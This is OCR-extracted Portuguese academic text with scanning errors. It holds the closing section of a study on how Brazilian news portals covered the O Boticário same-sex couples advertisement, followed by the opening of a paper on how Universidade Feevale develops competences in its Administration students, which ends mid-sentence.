Fonte: elaborado pelos autores.



A figura 4 demonstra o caminho desenvolvido na construgdo da amostra. As matérias
foram coletadas através de printscreen e armazenadas em pasta para posterior analise. O cri-
tério de escolha dos portais deu-se através da visibilidade de cada um deles. Assim, constata-
mos, na busca nas fanpages que o G1 publicou trés matérias em torno do caso, 0 UOL também
e 0 R7 nao possuia nenhuma matéria que citasse diretamente o caso, mas ao falar de perfumes
e homem moderno, como sera visto, aciona sentidos em torno da O Boticario.

A matéria nimero 1 (cada matéria da figura 4 recebeu um nimero que sera citado para
a contextualizacao e analise do sentido em torno dos signos), do dia 2 de junho, traz como titu-
lo: Comercial da “O Boticario” com casais gays gera polémica e denuncias no Conar; € Como
chamada no Facebook: Conar recebeu 20 reclamacgdes de pessoas que consideram a peca
“desrespeitosa a sociedade e a familia” (link encurtado para o portal) #OBoticario. Assim, ao
ler o texto e os sentidos acionados, nota-se uma imparcialidade e auséncia de posicionamento
a respeito do caso, € apenas uma informagao e que traz como destaca o discurso preconceitu-
0so proferido por grupos fundamentalistas. A numero 2, do dia 3 de junho, traz como titulo: Veja
marcas que ja langcaram propagandas com casails gays; e como chamada no Facebook: Alem
de O Boticario, Sonho de Valsa, GOL Linhas Aéreas Inteligentes e Coca-Cola foram algumas
que celebraram toda forma de amor (emoticon de coragdo) (link encurtado para o portal)
#TodaFormadeAmor #diversidade. Semioticamante, o proprio emoticon em forma de coracgo
e as hashtags ja demonstram, diferentemente da Figura 1, um apoio a marca. Enquanto issp, a
numero 3, do dia 5 de junho, traz como titulo: Comercial da Telefonica Argentina mostra peijo
entre homens; e como chamada no Facebook: No Brasil, campanha sera julgada por mpstrar

casal gay trocando presentes (link encurtado para o portal) #publicidade. Embora a chama-




da, em seu texto, acabe tornando invisivel o casal Iésbico, & evidente que ha, mais uma vez,
apoio a propaganda, além de uma comparacao entre Brasil e Argentina que busca denunciar
0 preconceito nacional, evidenciando que enquanto la um beijo aparece, aqui uma troca de

presentes motoriza denuncias.

Em se tratando do UOL, a matéria numero 4, do dia 2 de junho, traz como titulo: Conar
abre processo sobre comercial com casais gays apos 30 reclamagoes; e como chamada no
Facebook: Segundo Conar, consumidores contestam a moralidade da propaganda e pedem
que ela seja retirada do ar (link encurtado para o portal). Assim, entende-se que aqui o jorna-
lismo feito pelo portal cumpre a sua tarefa de informar, mas nao traz nenhuma consideracao a
respeito de um posicionamento em relacao a propaganda e, também, traz como destaque o

discurso fundamentalista, em um momento que, como percebeu-se nos desdobramentos em

torno do caso, as possibilidades de pautas eram muitas. A numero 5, do dia 3 de junho, traz
como titulo: Homofobicos podem ser homossexuais reprimidos, afirmam cientistas; e como
chamada no Facebook: Marque aqui aquele seu amigo que ficou muito sentido com a campa-

nha de O Boticario. As problematizacoes aqui sdo intensas e poderiam render analises criticas

através de perspectivas dos estudos de género e sexualidade, como por exemplo, uma hipote-
se cientifica ser utilizada como forma de culpabilizagao da homossexualidade pela homofobia,
além de contribuir para brincadeiras que colocam o fato de ser gay, lésbica ou fora de uma
matriz heteronormativa (LOURO, 2013), como motivo de piadas. No entanto, nos atentamog ao
fato de que no UOL, da mesma forma que no G1, a matéria ja demonstra diretamente um dpoio
amarca e a causa, mesmo que distorcidamente. A numero 6 traz como titulo: Vestido feitop com

sacolas da O Boticario na Parada Gay faz sucesso na web; e como chamada no Facebook:




Sambando na cara da sociedade. A matéria demonstra nao s6 o apoio e a divulgacao a causa
LGBT, mas também traz através da chamada o uso de uma linguagem utilizada na internet
por paginas voltadas ao publico LGBT, como o uso do sambando. Além do mais, a chamada
também representa como a sociedade impoe limites ao corpo e aos géneros e como quebra
desses limites pode sinalizar rupturas.

A matéria numero 7, do dia 3 de junho, do portal de noticias R7, da Rede Record, nao
trouxe nenhum comentario no portal a respeito da O Boticario, mas traz como titulo: Saiba cinco
dicas para fazer o perfume durar mais no corpo; e como chamada no Facebook: #FicaDica
(via Manual do Homem Moderno). Embora nao se dirija diretamente ao caso, os comentarios
traziam conversagoes e debates a respeito da O Boticario, além do fato de que nao publicar
nada também sinalize algo, se levarmos em conta o contexto religioso do portal de noticias,
afinal, outras matérias voltadas ao entretenimento, a memes e a polémicas sao publicadas
frequentemente na pagina.

O campo problematico (QUERE, 2005) inaugurado em torno do ciberacontecimento da
propaganda da O Boticario demonstra como o jornalismo utiliza as narrativas sociais e a visibi-
lidade em torno de determinados posicionamentos para promover o espalhamento (JENKINS,
FORD, GREEN, 2014) das suas matérias. Nos sites de redes sociais, que funcionam como
metéaforas estruturais para a compreensao da sociedade (RECUERO, 2009), a visibilidade /&
um valor comercial para o jornalismo e a relacao que ela possui com a publicidade. Os/cli-
ques revertem-se em numeros para a venda de midias para anuncios, em resumo. Portanto,
0 movimento e os sentidos inaugurados em torno das pautas demonstram como o jornglismo

com grande visibilidade, nao traz criticas ou posicionamentos que buscam descontruir pfecon-




3 CONCLUSAO

ceitos, como a homofobia, mas acompanha gradualmente as discussdes sociais tende a se
posicionar conforme ha disponibilidade de espaco e leitura. A partir destas percepgoes, po-
demos perceber uma relacao mutualistica ente publicidade, jornalismo e questoes de género

e preconceitos.

O acontecimento, tramado no ambito das redes sociais da internet, aciona sentidos so-
bre construcdes de géneros e sexualidades e cria um campo problematico (QUERE, 2005) em
torno de questdes de homofobia e lesbofobia, inaugurando uma disputa signica entre atores
sociais, marcada por controvérsias e apropriacdes humoristicas através da conversagao em
rede, incluindo o uso de memes, seja em seu sentido usual, de alta replicagao, ou a partir da
visao sistémica e cultural, apontando, assim, importantes transformagoes sociais e mercado-
|6gicas.

A visdo sistémica e cultural em torno dos memes, desenvolvida por Dawkins (2009),
0s vé como a unidade basica da reproducao cultural. Isso explica como as culturas reprodu-
zem-se e passam a fazer parte de determinadas sociedades. O meme ¢, entdo, a forma pela

qual as ideias passam de cérebro a cérebro, geragdo a geracao, assim como o gene € a forma

pela qual as informacdes genéticas sao transmitidas. Ele cria um acervo, que pode ser visfo
metaforicamente como um DNA cultural, que carrega determinadas informacoes a respeitg’de
certa cultura. Por isso, os sentidos inaugurados circulam e passam a motorizar conversagoes,
porque eles estao inseridos em uma sociedade na qual fazem sentido. Da mesma forma que

ideias humoristicas passam a funcionar e circular em ambientes digitais, 0 meme pode car-




regar, em si, percepcoes preconceituosas que, quando entram em choque com questoes de
género e sexualidade, como € o caso aqui, passam a desenvolver disputas em uma semiosfera
(LOTMAN, 1996) singular.

Com estas cibersociabilidades, propulsoras de semioses, desenvolvidas em sites de

redes sociais, comeca a entrar em ruptura o modelo em que a publicidade e propaganda pla-
nejava e prescrevia como o ser humano deveria ser, pois as criticas relacionadas a cultura im-
posta pela midia também foi potencializada nestes espacos. A discusséo em torno do posicio-
namento das marcas ganhou novos contornos através das plataformas de interagéo, criando
um ambiente em que o consumidor pode discutir € interagir através da quebra de paradigmas.
Por isso, um video veiculado primeiro no YouTube e depois na televisao, passou a movimentar

sentidos controversos, que tragcaram disputas, que geraram um ciberacontecimento, criando

uma ruptura semiosférica, pois nunca antes um anuncio havia motorizado sentidos em torno
dos géneros nesta dimensao em sites de redes sociais no Brasil.
A teoria dos ciberacontecimentos, alinhada as perspectivas de género e sexualidade,

permite, portanto, visualizar os campos problematicos que acompanham a sociedade e como

ela incorpora estas questoes e passa a lidar com elas. Aos poucos, corpos marginalizados,
fora de uma matriz heteronormativa, tem conquistado espacos sociais através de, entre outras,
disputas simbolicas que sao travas em sites de redes sociais. O uso do termo sambando na
cara da sociedade, da matéria do UOL, demonstra como 0s signos inaugurados fora daquilo
que se é imposto como normal podem romper barreiras e serem apropriados pela publicigade

e propaganda (LUPETTI, 2009) e pelo jornalismo.




umario

A técnica de analise denominada como construcéo de sentidos em redes digitais fun-
ciona, assim, como um método de aplicagao rico para entender os campos problematicos
inaugurados por ciberacontecimentos especificos €, ao mesmo tempo, pode sinalizar ques-

tdes socioculturais relacionadas a questdes de género e homofobia mais especificas. Um es-

tudo interessante poderia surgir, por exemplo, da categorizacao dos sentidos inaugurados
no Twitter pelo caso da O Boticario. Um outro ponto de estudo que também poderia trazer
percepcdes comunicacionais interessantes, seria uma analise da heteronormatividade dos cor-
pos apresentados no video: todos brancos, homens masculinos, mulheres femininos, somente
abracos, relagoes de afeto limitadas ao abraco, etc. Por fim, entendemos que este é um cibera-
contecimento singular, motorizado por uma propaganda em que, jornalisticamente, nos portais

de noticias analisados, os sentidos acompanharam os movimentos em sites de redes sociais,

evidenciando, por fim, algumas rupturas na matriz heteronormativa e, em consequéncia, nao

potencializando semioticamente o discurso homofébico.
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0 profissional qualificado e competente relaciona suas capacidades, habilidades e atitudes para ter um
desempenho superior na realizacao dos seus afazeres, e, por isso, tem a oportunidade de almejar boas
oportunidades de trabalho, como um diferencial em meio a competitividade atual. Este trabalho tem como
objetivo geral, analisar o desenvolvimento de competéncias dos académicos do curso de Administracao da
Universidade Feevale, com intuito de verificar se as competéncias propostas pela instituicdo estao sendo
bem desenvolvidas com os alunos. Utilizou-se como instrumentos de coleta de dados: a pesquisa documen-
tal e a aplicacao de questiondrios e entrevistas. Destacam-se os conceitos de qualificacdo e competéncias,
0 histérico do curso de Administracao, a drea de atuacao destes profissionais e as competéncias indicadas
para sua formacdo. Com os resultados do estudo, verificou-se a adequacdo da instituicao em relacao as
normativas; a percepcao dos alunos em relacdo ao seu desenvolvimento; evidenciando a preocupacao da
instituicao com os académicos. Entretanto, destacaram-se sugestdes de melhorias e a importancia continua
de verificacdo dos processos de aprendizagem para que atendam aos estudantes.

Palavras-chave: Qualificacdo. Competéncias. Curso de Administracao.

ABSTRACT

A professional that is qualified and competent relates his/her capacities, abilities and attitudes to obtain a
superior performance when executing his/her duties and, therefore, has the opportunity to long for good job
opportunities, as a competitive edge in the present competitiveness. This present paper seeks, as its general
objective, to analyze the development of competences among the Administration undergraduate students
of Universidade Feevale, aiming to verify if the competences proposed by the institution are being well de-
veloped with the students. Collection instruments used were: the institution documental and the application
of questionnaires and interviews. The concepts of qualification and competences, the Administration course
history, the business area of these professionals, and the competences indicated for their education are
highlighted. From the analysis the adequacy of the institution in relation to the national standards, the per-
ception of the students in relation to their development and, therefore evincing the concern of the institution
of offering a good qualification to the students. However, suggestions of improvements and the continuous
importance to verify the learning processes were highlighted that the students.

Keywords: Qualification. Competences. Administration Course.




INTRODUCAO As expectativas, as exigéncias e o ritmo de mudangas no mercado de trabalho tém
aumentado cada vez mais a busca por trabalhadores bem qualificados para compor o quadro
de colaboradores das empresas em todas as areas. Da mesma forma, os desafios atuais para

gerenciamento dos negdcios tornam-se cada dia mais complexos e competitivos, exigindo que

as instituicoes possuam, em sua estrutura, um capital humano capaz de garantir a manutengao
e 0 alcance dos seus objetivos. Assim, os profissionais da area da Administracao percebem
que as organizacoes atuais buscam competéncias mais abrangentes, a fim de que os colabo-
radores selecionados tenham condicdes suficientes para gerenciar todas as suas atividades e
responsabilidades, exercendo suas tarefas e obtendo resultados satisfatorios.

A relagao entre qualificacdao e mercado de trabalho destaca a relevancia que as institui-

coes de ensino tém para a sociedade, pois € através do seu servico que os estudantes espe-

ram desenvolver suas competéncias, para posteriormente se estabelecerem profissionalmente.
Este desenvolvimento € importante tanto para os individuos que buscam uma formagao como
para as organizacoes que esperam profissionais competentes para completar o seu quadro de

funcionarios.

Por tudo isto, a tematica deste trabalho foi escolhida com o intuito de aprofundar os
conhecimentos sobre as competéncias exigidas pelo mercado de trabalho para os profissio-
nais da Administracao e de como a Universidade Feevale vem preparando seus alunos paya
tanto. Além disso, institucionalmente, o presente estudo também possibilitara a obtencao/de
informacoes relevantes sobre a percepc¢ao dos proprios académicos concluintes do cursg.

Assim sendo, como objetivo geral do mesmo define-se em analisar o desenvolvi

de competéncias dos académicos do curso de Administragdo da Universidade Feevale, ve-




rificando se as competéncias propostas pela instituicao estdo sendo desenvolvidas com os
alunos.

Para o alcance do objetivo citado, seguiram-se as seguintes etapas: i) analise do Pro-
jeto Politico Pedagogico do curo de Administracdo (2009) da Universidade Feevale, no que
se refere ao perfil de competéncias que se propde a desenvolver; i) analise das diretrizes
curriculares nacionais do curso; i) verificagdo da a percepcgéo dos alunos formandos do curso
de Administragcao da Universidade Feevale, sobre o seu desenvolvimento de competéncias
durante o curso.

Em relacao a metodologia utilizada no decorrer doestudo, a natureza do trabalho
consistiu em uma pesquisa aplicada, no qual os fins e objetivos sao apresentados de forma
descritiva e como procedimento técnico foram realizadas, pesquisa bibliografica, pesquisa
documental, estudo de caso e levantamento Survey. Utilizou-se como instrumentos de coleta
de dados a pesquisa documental da instituicao; e a aplicacao de questionarios e entrevistas,
assim sendo, a abordagem deu-se de forma qualitativa e quantitativa, sendo expostos os da-
dos empregando-se a estatistica descritiva.

Este artigo esta estruturado da seguinte forma: no segundo e terceiro capitulo apresen-

tam-se conceitos importantes para o estudo. O quarto capitulo expde detalhadamente os méto-

dos e procedimentos utilizados na realizagao deste trabalho. E no quinto capitulo apresenta-se
o estudo de caso da Universidade Feevale. Em sequéncia é exposta a analise e a discusgao

entre todos os elementos, seguindo com as consideracoes finais.




COMPETENCIAS
0 PROCESSO DE
APRENDIZAGEM
PROFISSIONAL

O ser humano que procura manter-se empregado, que busca novas oportunidades de
trabalho ou ainda promocoes, se vé forcado a adaptar-se cada vez mais rapido as novas exi-
géncias impostas pela globalizacao, por meio dos seus conhecimentos, habilidades e atitudes
(BARDUCHI! et al., 2010). Segundo Barduchi et.al. (2010, p. 36), “[...] mais do que nunca o
diploma € importante, mas ele nao garante o sucesso”.

Conforme Andrade e Amboni (2003), a formagéo tem como finalidade o desenvolvimen-
to de competéncias, pois tem o intuito de preparar os individuos para que estes tenham um
bom desempenho profissional, utilizando predicados obtidos durante suas experiéncias esco-
lares, profissionais ou de vida, que Ihes permitam trabalhar com incertezas, em busca de reso-
lucbes dos problemas. Para muitas organizacdes a qualificacéo dos seus funcionarios € o que
determina a qualidade das suas atividades e resultados, pois € o seu desempenho com éxito
que permitira o alcance das metas estratégicas das empresas (ROBBINS; DECENZQO, 2004).

Na introducéo do conceito de competéncia, pelo americano McClelland (apud FLEURY;
FLEURY, 2006, p.27), afirmou que competéncia é resultado da relagéo entre conhecimento,
habilidades e atitudes, sendo como esséncia do sucesso, a capacidade de aprender. O autor
também diferenciou competéncia de aptiddes, habilidades e conhecimentos, definindo como

um atributo superior para a realizacao de tarefas e solugdo de problemas. Segundo Sertek

(2013), a competéncia pode ser dita como um habito que traz como resultado a eficacia no
posto de trabalho das pessoas, ou na sua fungao.

Relacionando ao foco deste estudo, Trasatti e Costa (2010) afirmam que para a educagéo
as competéncias sao um conjunto de habilidades e comportamentos trabalhados atraves de trei-

namentos, estando interligados com a formacgao das pessoas, ao desenvolvimento de suas apti-




URSO DE
DUACAO EM
NISTRACAO NO

does e atitudes. Atraves disso, os autores ainda declaram que se deve desenvolver nas pessoas
diferentes competéncias, preparando-as para interagir com as instabilidades e transformacoes da
sociedade. Assim, se desenvolve nos aprendizes capacidades de agir em diferentes situacoes,
utilizando seus conhecimentos, mas sem se limitar a eles, buscando as melhores alternativas e
recursos para alcangar os objetivos e atender as expectativas do mercado (PERRENOUD, 1999).

Os individuos competentes possuem potencial competitivo no mercado de trabalho,
pois as organizagdes nao sao apenas produtos, mas também um conjunto de pessoas que,
com suas proprias caracteristicas, sao utilizadas para melhorar os negocios (SERTEK, 2013).
As competéncias, segundo Ruas, Antonello e Boff (2005), podem ser pensadas sobre duas
formas: como competéncias coletivas, também denominadas organizacionais; e como com-
peténcias individuais, também conhecidas como profissionais. Destacam-se a aproximacao
e influéncia mutua entre estas duas formas de competéncias, ja que as organizacoes transfe-
rem suas informacoes aos colaboradores, preparando-os para enfrentar novas situacoes e 0s
individuos transmitem também seus aprendizados, auxiliando na superacao de barreiras dos

negocios (DUTRA, 2007).

A pratica da Administragao e o seu estudo podem ser vistos universalmente, sendo
que as atividades em todas as regides se compoem das mesmas caracteristicas, com focg no
alcance dos objetivos das organizacoes (SOBRAL; PECI, 2008). Como destacado por Rolbins
e Decenzo (2004), o campo de estudo académico dos administradores visa trabalhar cgm di-

versas percepcoes sobre as diferentes feicdes das organizacdes no seu cotidiano.




Esta area de estudo tem muito a contribuir com as necessidades futuras, em funcao das
mudancas, pois auxiliara no encontro de alternativas para a manutencao dos negocios. O curso
apresenta uma formacado ampla aos seus académicos, abrangendo varias areas de estudo e
que se relacionam na pratica, contribuindo para uma visao sistémica dos fatos, dando ideia da
inseparabilidade das coisas do mundo (TEIXEIRA; SALOMAO; TEIXEIRA, 2010).

Apesar do continuo crescimento por esta area de formag¢ao no ensino superior, alguns
autores apontam que as instituicdes de ensino e as organizagdes empresariais ainda estao
um tanto distantes, mesmo com o desenvolvimento de parques tecnoldgicos, pois existem
pensamentos diferentes entre o que o mercado precisa e o que as escolas ensinam (MORAN,
2013). Robbins e Decenzo (2004) declaram que comeca a ser reconhecida, pelos professores,

a necessidade e a importancia de um cruzamento multidisciplinar entre os conteudos e teoria

versus a pratica, para que seja possivel a percepcao da utilidade da educacao para os admi-
nistradores, a fim de que se tornem profissionais mais eficazes.
A sequir, sera abordada a evolucao das constituicoes dos curriculos académicos para

o curso de Administracdo até a incluséo das Diretrizes Curriculares Nacionais do curso de

Administracao, vigentes na atualidade.

3.7 DIRETRIZES CURRICULARES NACIONAIS DO CURSO
DE GRADUACAQ EM ADMINISTRACAOQ

Antes mesmo da regulamentacao da profissao de Administrador, a Lei de DiretriZes e
Bases da Educacdo Nacional 4.024/61 (BRASIL, 1961) se preocupava com as organizacoes

do ensino e buscava garantir a sua qualidade. E assim, em seu Art. 9°, definiu-se um cufriculo



minimo para os cursos de nivel superior nacionalmente, habilitando os alunos a receber seu
diploma e ter sua formacéao reconhecida por todo o pais.

O Conselho Nacional de Educacao, a partir da constituicdo da Lei 9.131/95 (BRASIL,
1995) e aprovacgéao do Parecer 776/97 (MEC, 1997), permitiu que o Ministério da Educagéo de-

finisse Diretrizes Curriculares para os cursos de nivel superior. Assim, as instituicoes passaram
a receber maior autonomia sobre a composi¢cao de seus projetos politicos pedagogicos e in-
tegralizacao de curriculos, tendo, a partir desse momento, diretrizes apenas como orientacdes
a serem seguidas.

Ja com o advento da Lei 9394/96 (BRASIL, 1996), que rege as diretrizes e bases da
educacgéao nacional atualmente, em 2003, através do Parecer CES/CNE n° 134/2003 (MEC,

2003), se constituiram as Diretrizes Curriculares Nacionais do Curso de Graduag&o em Admi-

nistracdo. A partir da aprovacgao do Parecer CES/CNE n° 134/2003 (MEC, 2003), as instituigoes
organizam o seu proprio PPC, observando as exigéncias e indicacdes das Diretrizes Curricu-
lares Nacionais do curso de Administracéo. Cada instituicao pdéde desenvolver o seu curso de
acordo com as definicdes registradas nestes projetos pedagogicos, no entanto, devem ser
percebidas em sua constituicao as orientacoes das diretrizes curriculares nacionais.

No proximo subcapitulo sao destacadas, como foco principal deste estudo, as compe-
téncias profissionais que as Diretrizes Curriculares de Administragao exigem que sejam desep-

volvidas pelas instituicoes de ensino com os académicos.




Reconhecer e definir problemas, equacionar solugdes, pensar estrategicamente, introduzir
modificacdes no processo produtivo, atuar preventivamente, transferir e generalizar conheci-
mentos e exercer, em diferentes graus de complexidade, o processo da tomada de decisao;

Desenvolver expressao e comunicagao compativeis com o exercicio profissional, inclusive
nos processos de negociacdo e nas comunicagdes interpessoais ou intergrupais;

Refletir e atuar criticamente sobre a esfera da producédo, compreendendo sua posicéo e
funcéo na estrutura produtiva sob seu controle e gerenciamento;

Desenvolver raciocinio l6gico, critico e analitico para operar com valores e formulagées mate-
maticas presentes nas relacoes formais e causais entre fendmenos produtivos, administrativos
e de controle, bem assim expressando-se de modo critico e criativo diante dos diferentes
contextos organizacionais e sociais;

Ter iniciativa, criatividade, determinacgao, vontade politica e administrativa, vontade de
aprender, abertura as mudancas e consciéncia da qualidade e das implicagdes éticas do seu
exercicio profissional;

Desenvolver capacidade de transferir conhecimentos da vida e da experiéncia cotidianas
para o ambiente de trabalho e do seu campo de atuagao profissional, em diferentes modelos
organizacionais, revelando-se profissional adaptavel;

Desenvolver capacidade para elaborar, implementar e consolidar projetos em organizagoes;

Desenvolver capacidade para realizar consultoria em gestao e administracao, pareceres e
pericias administrativas, gerenciais, organizacionais, estratégicos e operacionais.

Quadro 1 — Competéncias e Habilidades a serem desenvolvidas
no profissional de Administragao
Fonte: MEC (2003, p. 4).

3.2 COMPETENCIAS DESENVOLVIDAS NA FOR-
MACAO DO ADMINISTRADOR

O ensino da Administragao ja nao pode mais ser ape-
nas uma forma de passagem de conhecimentos e informa-
coes, mas deve desenvolver habilidades para que o acadé-
mico tenha solidas competéncias e assim, esteja pronto para
assumir suas responsabilidades perante a sociedade, de for-
ma que saiba como agir e as consequéncias das suas atitudes
(ANDRADE; AMBONI, 2003). Segundo o Conselho Federal de
Administracao (CFA, 2005), o profissional formado em Admi-
nistracao pode exercer as suas atividades em variadas formas
de atuacao e ainda possui extensos campos de acao, o que
exige que suas competéncias também sejam varias e concisas
para que consiga atuar nas diferentes oportunidades.

E para que os académicos formados em Administracao
estejam preparados para poder atuar em diferentes frentes,
segundo o Parecer CES/CNE n° 134 (MEC, 2003), resoluca
n°® 01/04 (MEC, 2004) e reafirmado na resolugéo n° 4/05 (M
2005), que compde as Diretrizes Curriculares do Curso de/Ad-
ministragao, a formacao de nivel superior deve desenvolver as

competéncias e habilidades vistas no Quadro 1.




Estas competéncias e habilidades citadas no quadro anterior, em estudo realizado por
Antonello e Dutra (apud ANTONELLO; GODQY, 2009), foram divididas em quatro blocos de-
nominados de competéncias transversais': de gestdo, sociais, técnicas e de aprendizagem,

analisadas com foco no empreendedorismo, como pode ser visto no quadro 2. Os itens da

regulamentacao das diretrizes curriculares foram divididos entre estes blocos de forma inte-
ressante, pois resumem as exigéncias das nacionais em topicos especificos, que devem ser
identificados na formacéao dos académicos do curso de Administracéo.

A necessidade e orientacao para o desenvolvimento destas competéncias e habilida-
des ¢ identificada atraves da percepgao das transformacdes globais e das intensas reestrutu-
racdes dos negocios e dos processos produtivos. Estas situagdes evidenciam que atualmente

a qualificagao, como desenvolvimento de profissionais, deve ser resultado de varios elementos

articulados, com o objetivo de prepara-los para lidar com todos os tipos de imprevistos, incer-
tezas e problemas que podem vir a enfrentar (ANDRADE; AMBONI, 2003).
Contudo, ao analisar as ideias propostas pelos autores citados neste trabalho, pode-

-se afirmar que o desenvolvimento de competéncias nas instituicdes de ensino faz parte das

orientagdes das diretrizes curriculares nacionais do curso de Administragao, que visa uma
boa qualificagao para os profissionais que buscam esta formacao. E, além das competéncias
indicadas pelas proprias diretrizes, cabe a cada instituicao perceber as necessidades do m
cado de trabalho da sua regiao, para oferecer aos seus académicos o desenvolvimento do gue
realmente Ihes sera exigido, de forma que estes estejam qualificados para o alcance de poas

' Competéncias transversais fazem referéncia a grandeza comportamental e perceptivas nas intervengées gerenciais. (PERRENOUD, 1999)




oportunidades de emprego e assim tenham competéncias para trabalhar com as incertezas e

resolucoes de problemas do mercado em que estarao inseridos.

Diretrizes Curriculares para os Cursos de Administragéo — Conselho Nacional
de Educagao (Resolugéo n® 1 de 2/02/2004),

O Curso de Administracdo devera promover o
desenvolvimento das competéncias transversais

—reconhecer e definir problemas, equacionar solucdes, pensar estrategica-
mente, introduzir modificagdes no processo produtivo, atuar preventivamente,
transferir e generalizar conhecimentos e exercer, em diferentes graus de
complexidade, o processo da tomada de deciséo; — desenvolver capacidade
para realizar consultoria em gestédo e administragéo, pareceres e pericias
administrativas, gerenciais, organizacionais, estratégicos e operacionais;

COMPETENCIAS DE GESTAO Contextualizar
(leitura de ambiente/situacao); Visao sistémica;
Sistematizar a tomada de decisé&o; Prontidao a
Mudanca; Visao de Negocio; Negociagéo.

— desenvolver expressao e comunicagao compativeis com o exercicio
profissional, inclusive nos processos de negociagao e nas comunicagdes
interpessoais ou intergrupais;

COMPETENCIAS SOCIAIS Relacionamento
Interpessoal; Comunicagao; Gerir Pessoas;
Trabalhar em grupo; Desenvolver equipes

— Refletir e atuar criticamente sobre a esfera da produgao, compreendendo
sua posicéo e fungao na estrutura produtiva sob seu controle e gerenciamen-
to; — desenvolver raciocinio légico, critico e analitico para operar com valores
e formulagdes matematicas presentes nas relagoes formais e causais entre
fendmenos produtivos, administrativos e de controle, bem assim expressan-
do-se de modo critico e criativo diante dos diferentes contextos organiza-
cionais e sociais; — desenvolver capacidade para elaborar, implementar e
consolidar projetos em organizacoes;

COMPETENCIAS TECNICAS Conhecer Proces-
so0s e Atividades desenvolvidos em organiza-
cdes; Conhecer e saber como e quando aplicar
ferramentas; Integrar conhecimentos especificos
e gerais em sua area de atuagao; Rever concei-
tos e estabelecer raciocinio critico e analitico
sobre os mesmos.

— ter iniciativa, criatividade, determinagao, vontade politica e administrativa,
vontade de aprender, abertura as mudangas e consciéncia da qualidade e
das implicacoes éticas do seu exercicio profissional; — desenvolver capaci-
dade de transferir conhecimentos da vida e da experiéncia cotidianas para o
ambiente de trabalho e do seu campo de atuagéo profissional, em diferentes
modelos organizacionais, revelando-se profissional adaptavel.

COMPETENCIAS DE APRENDIZAGEM: Capaci-
dade de Reflexao; Visao critica —-emancipatoria;
Estabelecer um conhecimento reflexivo; Autode-
senvolvimento; Langar médo dos conhecimentos
na agéo.

Quadro 2 — Competéncias a serem desenvolvidas durante o Curso de Administragéo
conforme estudo de Antonello e Dutra
Fonte: Antonello e Dutra (apud ANTONELLO; GODOY, 2009).




4 METODO

Por tudo isto, na continuagcao deste estudo, sera analisado se as competéncias pro-
postas aos alunos de Administracao da Universidade Feevale estao sendo bem trabalhadas
e se contemplam as orientactes das diretrizes curriculares nacionais do curso. A seguir sera

apresentada a metodologia utilizada para realizacao deste trabalho.

Este estudo, com relagdo a sua natureza, pdde ser classificado como uma pesquisa
aplicada, pois conforme Prodanov e Freitas (2013, p. 51) “[...] objetiva gerar conhecimentos
para aplicacao pratica, dirigidos a solucao de problemas especificos. Envolve verdades e in-
teresses locais”. Desta forma, p6de-se afirmar que este trabalho se classificou como pesquisa
aplicada, por ter buscado conhecimentos em relagao a percepgao dos alunos em relacao as
competéncias desenvolvidas no curso de Administracao e a sua relagao com as exigéncias do
mercado de trabalho.

Em relacao ao seu objetivo, pdde ser classificado como uma pesquisa descritiva. Se-
gundo Gil (2002), a pesquisa descritiva tem o intuito de registrar e descrever caracteristicas
de determinados grupos de variaveis, envolvendo a utilizacao de técnicas padronizadas para

coleta de dados, destacando-se aplicacao de questionarios e observacoes sistematicas. “Esta

forma de pesquisa procura descobrir a frequéncia com que um fato ocorre, sua natureza, suds
caracteristicas, causas, relagdes com outros fatos” (PRODANQV; FREITAS, 2013, p. 52).

Neste estudo foram aplicados os seguintes artificios como procedimentos técricos
para sua constituicao: primeiramente realizou-se uma pesquisa bibliografica do material ja pu-

blicado com relacao a qualificagao, as competéncias e ao historico do curso de Adminisfracao




no Brasil, com o objetivo de permitir ao pesquisador o conhecimento de informacdes amplas ja
desenvolvidas em relacdo ao estudo (GIL, 2002); e, posteriormente, fez-se a analise do estudo
de caso da Universidade Feevale, utilizando também a técnica de levantamento Survey na
aplicacao de questionarios com os alunos e de uma entrevista em profundidade e pesquisa
documental, para obtencao de dados para analise do objeto de estudo.

Em relacao a sua abordagem, a pesquisa € classificada como quantitativa e qualitativa,
pois se buscou informacdes estatisticas e qualitativas sobre a percepcao dos académicos. Tal
abordagem teve o intuito de explicar os dados encontrados e as relacoes entre estes resultados.

Neste estudo, o universo relacionado ao problema de pesquisa foi composto: pelos
alunos formandos do curso de Administracéao da Universidade Feevale no primeiro semestre
de 2015 e os provaveis formandos do curso, no segundo semestre de 2015, pois estes alunos
ja passaram pelo processo de aprendizagem de praticamente todas as disciplinas; e pelo
coordenador do curso na instituicao. Em relacao ao numero de alunos concluintes do curso,
conforme informacdes disponibilizadas pela instituicao, no primeiro semestre de 2015 foram
107 alunos que solicitaram colagado de grau e foram considerados como provaveis formandos

do segundo semestre de 2015 os 127 alunos matriculados na disciplina de Monografia | no

primeiro semestre do ano, totalizando o numero de 234 alunos concluintes como o universo.

A amostra da pesquisa foi definida por selegao racional de forma nao probabilistic
mas sendo considerada significativa para a pesquisa dentro de um contexto especifico. A
0s alunos considerados como a amostra foram 133 concluintes do curso de Administrac@o, o
que representou um percentual de 56,8% do universo. Além disso, entrevistou-se o coorgdena-

dor do curso. No proximo capitulo, exibe-se a analise e discussao dos resultados.



ANALISE E
ISCUSSAO DOS
RESULTADOS

Cada instituicao de ensino € responsavel por determinar o perfil dos formandos dos
seus cursos, avaliando as competéncias exigidas em cada area pelo mercado da sua regiao. A
partir disto, neste capitulo € apresentada a Universidade Feevale, como objeto de estudo deste
trabalho, onde sao abordados: o histérico da instituicao e do seu curso de ensino superior em
Administracao e a analise do PPC Administragcao (2009), tendo em vista as orientacoes e exi-

géncias das Diretrizes Curriculares Nacionais.

5.1 UNIVERSIDADE FEEVALE E O CURSO DE ADMINISTRACAO

A Universidade Feevale & uma instituicao de ensino comunitaria, sem fins lucrativos,
instalada na cidade de Novo Hamburgo, na regiao do Vale do Sinos do Rio Grande do Sul, em
24 de marco de 1970. A Federacao de Estabelecimento de Ensino Superior em Novo Hambur-
go — Feevale, em 1999, foi credenciada como Centro Universitario Feevale e somente em 05 de
abril de 2010 o Ministério da Educacgao publicou no Diario Oficial o credenciamento da institui-
¢ao como universidade. Este momento significou uma grande conquista para a instituicao, que
desde a fundagao da sua mantenedora, em 1969, buscou evoluir para atender a comunidade.
Atualmente, conforme dados fornecidos pela propria instituicdo, a Feevale possui em anda-
mento 53 diferentes cursos de graduacao.

As informacdes apresentadas a seguir, em relacéo a origem do curso de Administra-
céo, foram obtidas através da analise do PPC Administragédo (2009) da instituigdo. Os dados
relativos a sua constituicao e manutencao foram adquiridos através da entrevista com
